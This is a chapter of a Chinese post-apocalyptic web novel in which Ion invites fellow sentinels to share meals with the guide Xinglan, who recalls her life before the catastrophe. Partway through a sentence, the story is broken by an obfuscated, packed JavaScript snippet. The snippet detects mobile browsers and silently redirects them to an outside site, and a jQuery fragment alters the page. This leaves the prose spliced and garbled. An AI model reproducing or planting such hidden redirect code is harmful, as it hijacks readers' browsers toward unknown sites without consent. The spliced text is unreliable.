这些话对伊昂来说显然有些难以理解，作为乐天派，他更愿意拼尽全力享受人生在世的每一天，既然注定失去和死亡，就更该抓住当下才是。 更何况，向导还不一定接受他的心意呢。 伊昂想着治疗室里从始至终态度都很淡定的向导，只觉路漫漫其修远。 不过他也不是毫无收获。 “星岚向导已经答应我，以后可以去治疗室找她一起吃饭！” 说到吃饭，拉赫尔突然反应过来，转身从不远处的冷藏柜里拿出一管营养液递给伊昂。 “吃吧，你今天的午饭。” 营养液的味道冰冷黏糊又寡淡，总让伊昂想到海鼻涕，他强忍着恶心咽下去，刚才的兴奋劲已经一扫而空。 “刚尝过大餐再吃这个简直就是折磨。” “但这才是你的正餐。” 西莫补了一刀。 “不要这么残忍揭穿现实啊，让我再做会儿美梦吧！”嘴里的味道逐渐消散，伊昂又恢复了活力，“总之，以后的午饭我准备去治疗室吃了！” 他说着，视线不停在西莫和拉赫尔身上打转。 “你在打什么坏主意？” 西莫警惕道。 伊昂满眼无辜，“我只是想问问，你和拉赫尔大哥要不要一起去？” “我本来打算直接免了星岚向导的餐费，但被她拒绝了，所以就改用新品试吃的名义，再加上让你和拉赫尔大哥也体验下正常味觉才说服她。” “所以，你们有想法吗？” 拉赫尔眼底有些意动，却还是摇了摇头，他摸了摸自己头顶异于常人的鹿角，语气如常道：“还是你们轮流去吧，我这幅样子，吓到她就不好了。” 伊昂并不觉得这对鹿角有多吓人，反而像是精心雕琢的王冠，但没等他反驳，西莫先开了口，他语气平淡，恢复了一如既往的温吞。 “我也算了吧。” 回想上一次正常进食，是七年前？八年前？他记不清了。 现在好不容易习惯了营养液的味道，要是破戒了，以后只会更难捱，西莫趴回桌上，闭眼藏起眼底的红血丝，他没有伊昂的好心态，能快速接受现在与过去正常生活之间的巨大落差。 虽然预想过会被拒绝，但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452067|169085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伊昂还是有些难受，他忽然之间有些明白了向导听见自己的提议后，为什么第一反应是沉默。 “共享味觉并非什么高深的精神力运用方法。” 向导的目光仿佛平静的海面，她看着他，又像是透过他看向许多人，两人分明同龄，那一刻，她却像是阅尽千帆的长辈，对着他循循善诱。 “之所以没被普及，自然是因为这种方法并不适用于所有人。” 一念天堂，一念地狱。 哨兵本就紧绷的神经很可能在这现实与虚幻的感知落差中彻底断裂。 星岚也是对伊昂的性格有了初步了解后，又因为他的目光有些动容，才主动提及共享感官的事，所以—— “既然你坚持的话，我是不介意再多几个人的，当然，前提是他们也同意。” 而伊昂当时想的是：总要尝试一下。 第二天中午，星岚看见独自提着餐盒前来的伊昂，并不觉得意外，就像她前一天说过的，那个方法并不适用所有人，会被拒绝很正常。 不过看惯了伊昂活力四射的模样，再看沙发上托着下巴发呆的大男孩，星岚敲了敲桌面。 “一个人想不通的时候，不如多找几个人一起想。” 伊昂回过神，一晚上过去，他其实已经想明白了，只是到底还有些怅然若失。 如果世界没有灾变就好了，大家就不会有这种烦恼。 “星岚向导，你有想象过灾变前的世界是什么样的吗？”没等到回答，他又自顾低喃：“大概就像秩序区里那样吧。” 星岚捏着筷子的手微微收紧，根据书上记载，这个世界灾变前的文明程度与前世相差不大，所以她大概能想象出曾经的城市模样，只不过，很多东西在她记忆中同样模糊了。 但她还记得贴着福字的生锈单元门，记得家门外那条狭窄的胡同，记得每天吵吵闹闹的校园，记得上学路上经常光顾的面包坊…… 记得某天晚饭后，爸妈带着她出门散步消食，街灯照着前路，远处商圈里霓虹灯五光十色，暖风微醺，她在妈妈的呼唤声中仰头，刹那间，天空中绽开一朵巨大的烟花…… 那是记忆里最后的繁华。 再后来，一个平常的早晨，携带着病毒的陨石自天外降临，拉开了末日序幕。 “那会是一个并不十分完美，但总有美好能触动心灵的世界。” 星岚目光柔和，许是因为自己已经经历过一遍末世，所以在面对这个世界的人时，她偶尔会有一种奇怪的前辈感。 “早晚有一天，灾变会结束的。” 就像她穿越前的那个世界，克制病毒的疫苗已经成功研发出来，世界正在重新恢复秩序，虽然伤痛难以淡忘，但幸存者们终究是等来了曙光。 这个世界战线有些长，却给了人们更多繁衍生息的机会，现在还没到彻底放弃希望的时候。 仿佛被这坚定的语气感染，伊昂看着向导，眼底重新亮起星光，邀请道：“再过两天就是纪念日，星岚向导要和我一起参加吗？”